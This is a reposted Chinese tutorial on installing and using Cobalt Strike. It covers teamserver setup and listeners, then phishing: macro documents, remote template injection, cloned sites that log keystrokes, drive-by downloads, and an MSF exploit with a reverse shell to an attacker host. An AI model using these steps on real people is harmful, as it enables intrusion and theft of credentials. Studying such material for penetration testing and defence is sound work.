[ 常用工具篇 ] CobaltStrike(CS神器)基础 -- 安装及设置监听器详解

Posted _PowerShell

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[ 常用工具篇 ] CobaltStrike(CS神器)基础 -- 安装及设置监听器详解相关的知识,希望对你有一定的参考价值。

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

一、CobaltStrike简介

CobaltStrike是一款渗透测试神器,被业界人称为CS神器。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
CobaltStrike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,windows exe 木马生成,windows dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。钓鱼攻击包括:站点克隆,目标信息获取,java 执行,浏览器自动攻击等等强大的功能!
windows和linux就是启动客户端方式不一样,一个双击打开运行,一个客户端运行(这里我用的是windows)

二、CobaltStrike的安装(windows&linux)

我这里以windows安装为例:
直接下载解压就行

https://pan.baidu.com/s/1LNbbeaf8LLAzdBQ-zvBgIA?pwd=5yso 

三、CobaltStrike主要文件目录功能介绍

1、CobaltStrike一些主要文件功能如下

agscript:扩展应用的脚本
c2lint:用于检查profile的错误和异常
teamserver:服务器端启动程序
cobaltstrike.jar:CobaltStrike核心程序
cobaltstrike.auth:用于客户端和服务器端认证的文件,客户端和服务端有一个一模一样的
cobaltstrike.store:秘钥证书存放文件

2、CobaltStrike一些主要目录功能如下

data:用于保存当前TeamServer的一些数据
download:用于存放在目标机器下载的数据
upload:上传文件的目录
logs:日志文件,包括Web日志、Beacon日志、截图日志、下载日志、键盘记录日志等
third-party:第三方工具目录

四、CobaltStrike的使用

1、CobaltStrike功能介绍

1、连接到另一个团队服务器。
2、断开从当前的团队服务器的连接。
3、新建和编辑Cobalt Strike的监听器。
4、切换为「服务器节点图」的可视化形式。
5、切换为「会话列表」的可视化形式。
6、切换为「目标列表」的可视化形式。
7、查看凭据。
8、查看下载的文件。
9、查看键盘记录。
10、查看屏幕截图。
11、生成一个无阶段的Cobalt Strike可执行文件或DLL.
12、设定Java签名的Applet攻击。
13、生成一个恶意的Miscrosoft Office宏。
14、建立一个无阶段的脚本的Web传送攻击。
15、在Cobalt Strike的web服务器.上托管一个文件。
16、管理托管在Cobalt Strike的web服务器上的文件和应用。
17、访问Cobalt Strike的支持页面。

2、CobaltStrike模块介绍

1、New Connection:打开一个新连接窗口
2、Preferences:偏好设置,就是设置CobaltStrike外观的
3、Visualization:将主机以不同的权限展示出来(主要以输出结果的形式展示)
4、VPN Interfaces:设置VPN接口
5、Listeners:创建监听器
6、Script Interfaces:查看和加载CNA脚本
7、Close:关闭

五、简单使用–启动CobaltStrike

1、启动服务端:

以管理员身份进入teamserver.bat所在目录
启动服务端:

./teamserver   192.168.10.11  123456    

192.168.10.11是kali的ip地址,123456是密码
后台运行,关闭当前终端依然运行:

nohup  ./teamserver   192.168.10.11  123456  &

这里CobaltStrike默认监听的是50050端口,如果我们想修改这个默认端口的话,可以打开teamserver文件,将其中的50050修改成任意一个端口号

2、启动客户端:

1.进入cobaltsrike_CN.vbs所在目录

2.打开cobaltsrike_CN.vbs进入客户端连接页面

填入相关信息,包括服务端地址,CobaltStrike监听的50050端口,连接用户名,连接密码信息

3.客户端面板介绍

连接成功之后进入如下面板

六、简单使用–创建监听器Listener

1、Listener创建面板介绍

CobaltStrike的内置监听器为Beacon,外置监听器为Foreign。CobaltStrike的Beacon支持异步通信和交互式通信。
点击左上方CobaltStrike选项——>在下拉框中选择 Listeners ——>在下方弹出区域中单机add

name:为监听器名字,可任意
payload:payload类型
HTTP Hosts: shell反弹的主机,也就是我们kali的ip
HTTP Hosts(Stager): Stager的马请求下载payload的地址
HTTP Port(C2): C2监听的端口

2、创建成功截图

3、创建Listener之payload介绍

Beacon为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上;其中包含DNS、HTTP、HTTPS、SMB。Beacon可以选择通过DNS还是HTTP协议出口网络,你甚至可以在使用Beacon通讯过程中切换HTTP和DNS。其支持多主机连接,部署好Beacon后提交一个要连回的域名或主机的列表,Beacon将通过这些主机轮询。目标网络的防护团队必须拦截所有的列表中的主机才可中断和其网络的通讯。通过种种方式获取shell以后(比如直接运行生成的exe),就可以使用Beacon了。
Foreign为外部结合的Listener,常用于MSF的结合,例如获取meterpreter到MSF上。

1.Payload选项介绍

CobaltStrike4.0目前有以下8种Payload选项,如下:

1、Beacon DNS
2、Beacon HT TP
3、Beacon HTTPS
4、Beacon SMB
5、Beacon TCP
6、External C2
7、Foreign HTTP
8、Foreign HTTPS


2.内部的Listener

1、windows/beacon_dns/reverse_dns_txt
2、windows/beacon_http/reverse_http
3、windows/beacon_https/reverse_https
4、windows/beacon_bind_tcp
5、windows/beacon_bind_pipe

3.外部的Listener

1、windows/foreign/reverse_http
2、windows/foreign/reverse_https

4.External

1、windows/beacon_extc2

CobaltStrike使用:第三篇使用CS进行用户驱动攻击(钓鱼攻击)

文章首发于Freebuf:https://www.freebuf.com/sectool/306842.html


前两篇文章介绍了CS的基本使用方法和模块,本篇将会具体介绍CS进行用户驱动攻击,也就是钓鱼攻击

用户驱动攻击

用户驱动攻击User-Driven Attacks,利用人这个"安全漏洞"进行攻击,也就是说需要欺骗用户产生交互才行,但这种方式也有许多的优点

  • 用户驱动攻击不包含恶意攻击代码,所以用户系统上的安全补丁是没用的
  • 无论目标使用什么版本的程序,我们都可以创建相应的功能来执行
  • 用户驱动攻击十分可靠

当我们采取行动来追踪并需要攻击时,它就像用户本地执行程序一样,CS为我们提供了几个用户驱动攻击的选项,分别如下

用户驱动攻击包(生成后门)

用户驱动攻击包User-Driven Attacks Packages功能打开位置:Attacks --> Packages

1.HTML应用

HTML应用HTML Application生成(executable/VBA/powershell)这3种原理不同的VBScript实现的evil.hta文件

使用方法:

  1. 创建一个Beacon HTTP 监听器

  2. 工具栏攻击->生成后门->HTMLApplication

  3. 后门文件通过漏洞传到Victim执行,CS随后上线(如果无法上线可以换一个Method生成后门文件)

2.1Microsoft Office 宏文件

Microsoft Office 宏文件Microsoft Office Document Macros可以生成恶意宏放入office文件,非常经典的钓鱼攻击手法,CS给出的操作步骤也很详细

  1. 创建一个Beacon HTTP 监听器

  2. 工具栏攻击->生成后门->MS office macro

  3. 新建Word文档或者Excel表格,按照以下步骤将宏添加到Microsoft Word或者Excel

    1. 打开Word或者Excel,转到视图->宏->查看宏

    2. 在宏名处输入随意一个名字,点击创建

    3. 清除编辑器内原有的全部宏代码,点击CS步骤提示中的Copy Macro按钮将宏复制到剪贴板

    4. 粘贴到Word中的窗口,关闭宏编辑器窗口

    5. 会提示无法保存窗口选择否,将文档另存为启用宏的文档,保存成.dotm或.docm都可以,这两个文件格式都是启用宏的Word格式

右侧是启动宏的文档,图标还是有差别的,所以说遇到这种文档不要点启用内容(实际钓鱼中要诱导点击)

如果Victim点击了启用内容,CS中直接上线,process为rundll32.exe

rundll32.exe:

  • rundll32的正常位置:c:\\windows\\system32
  • 作用是以命令行的方式调用执行DLL文件中的内部函数,这样在进程当中,只会有 Rundll32.exe,而不会有DLL后门的进程,实现隐蔽的目的

因为rundll32.exe需要调用DLL文件,如果Victim电脑中存在杀毒软件将会被直接Kill掉,所以需要免杀

这是最基本的宏病毒文档当然还有其他利用宏的方法

2.2宏文件远程加载恶意Word模板文件

利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,当受害者点开攻击者发给他的恶意word文档就会向远程服务器请求恶意模板并执行恶意模板上的恶意代码,从而上线CS

基本方法还是一样的

  1. 创建一个Beacon HTTP 监听器,生成并复制宏

  2. 新建word文档,在工具栏的空白区域右键,点击自定义功能区

    开启开发工具

    点击确定后,word的工具栏就多了一个开发工具,点击开发工具中的“Visual basic”,将恶意的宏代码粘贴到project中

    将文档另存为dotm模板文件

    其实直接右击这个文档用word打开(双击打不开)就可以让主机上线,为了提升隐蔽性,可以远程加载此文件

  3. 将带有宏的模板文件上传到服务器(也可以上传到github),确保受害者Victim可以访问

    http://10.242.192.62/test.dotm

  4. word中新建一个带模板的docx文件,保存,把这个文件docx后缀名改为zip后缀(tips:docx本来就是zip文件哈),解压后可以看到文件

    找到word路径下的_rels目录再找到settings.xml_rels文件,用记事本打开可以发现加载了远程的模板网站

    把恶意的模板url拼接?raw=true,替换原来的url

    http://10.242.192.62/test.dotm?raw=true

  5. 将解压的文件夹再次压缩为zip文件,再将后缀改为docx,这样远程加载钓鱼文件就生成了

    发送给受害者当用户使用word打开文件便会上线

word开启或禁用宏:文件——>选项——>信任中心——>信任中心设置

默认情况下是“禁用所有宏,并发出通知”,这种情况下,当我们打开恶意文件时,会询问你是否“启用内容”

如果受害者安装了杀毒软件,还是会被杀掉,需要做免杀才行

免杀教程(用到的工具EvilClippy已经有些过时了):

3.Payload 生成器

Payload生成器Payload Generator可以生成各种语言版本的Payload,便于进行免杀

4.Windows 可执行文件

Windows 可执行文件Windows Executable 会生成一个Windows可执行文件或DLL文件。默认x86,勾选x64表示包含x64 payload stage生成了artifactX64.exe(17kb) artifactX64.dll(17kb)

Windows 可执行文件(Stageless)

Windows 可执行文件(Stageless)Windows Executable (Stageless)会生成一个无进程的Windows可执行文件或DLL文件。其中的 Stageless 表示把包含payload在内的"全功能"被控端都放入生成的可执行文件beconX64.exe(313kb) beconX64.dll(313kb) becon.ps1(351kb)

用户驱动的Web交付攻击(钓鱼攻击)

用户驱动Web交付攻击User-Driven Web Drive-by Attacks功能打开位置:Attacks --> Web Drive-by

1.web服务管理

web服务器管理web server Manage `中可以查看可使用的模块

2.克隆网站

会把目标网站前端爬下来生成一个钓鱼界面

键盘记录

比如克隆一个需要登陆的网站通过记录目标用户键盘输入的信息,拿到账号和密码

首先生成克隆网站 攻击->钓鱼攻击->克隆网站

在克隆网站时不要找这种加载登录二维码的这种,就找个页面简单的,可以找手机页面发送给受害者因为一般手机打开是看不到的URL的

用户键盘输入的信息都可以在web日志中看到

4.2克隆网站联动MSF

克隆网站也可以与MSF联动,在生成钓鱼网站处Attack选择MSF攻击URL即可

# MSF payload只是适用于IE浏览器
use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.179.138
set SRVPORT 8888
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.179.128
exploit

会生成一个URL,将这个URL放入Attack中

当受害人访问时就会加载恶意URL,进行溢出攻击,与文件托管相比无需下载文件但仅适用于受害者以IE浏览器打开

4.文件托管(下载)

通过Attacks --> Web Drive-by --> Host File进行配置,攻击者可以通过这个功能将文件上传到CS服务端上,从而进行文件托管

如果想删除上传到CS服务端上的文件,可以到Attacks --> Web Drive-by --> Manage下进行删除

如果想查看谁访问了这些文件,可以到View --> Web Log下进行查看

结合克隆网站使用,用户访问恶意网站时会下载文件,如果执行就上线CS

首先生成文件下载 攻击->钓鱼攻击->文件下载,选择本地木马文件

然后生成克隆网站 攻击->钓鱼攻击->克隆网站

Attack选择刚才的文件下载,不需要勾选键盘记录

当受害者打开URL时,页面是百度,同时会自动下载文件,如果用户打开即会上线CS

5.Applet 攻击

java 签名 applet 攻击(过时)

java 签名 applet 攻击Java Signed Applet Attack会启动一个Web服务以提供自签名Java Applet的运行环境,浏览器会要求用户授予applet运行权限,如果用户同意则实现控制,但目前该攻击方法已过时

Java 智能 Applet 攻击(过时)**

Java 智能 Applet 攻击Java Smart Applet Attack会自动检测Java版本并利用已知的漏洞绕过安全沙箱,但CS官方称该攻击的实现已过时,在现在的环境中无效

6.信息收集

建立一个钓鱼页面去收集用户信息,其中主机地址和端口就是TeamServerIP和端口,RedirectUrl就是点击后跳转的URL,可以填一个大型网站,底下的使用JavaApplet复选框也已经过时对于受害者系统版本较低的情况下可以使用,点击开始后会生成URL,只要诱导用户访问即上线

用户访问后跳转到百度

在CS->视图->应用信息可以看到收集的信息

防范

攻击防范:提升用户安全意识,不要乱点连接乱下文件,安装杀毒软件

以上是关于[ 常用工具篇 ] CobaltStrike(CS神器)基础 -- 安装及设置监听器详解的主要内容,如果未能解决你的问题,请参考以下文章

CobaltStrike使用-第八篇-隧道技术(socks转发ssh隧道CS转发监听器)

CobaltStrike使用-第八篇-隧道技术(socks转发ssh隧道CS转发监听器)

cs服务器搭建(cobaltstrike)

Cobalt Strike第一篇介绍及安装配置

CobaltStrike安装

CobaltStrike使用-第二篇(攻击模块会话管理CS-MSF联动)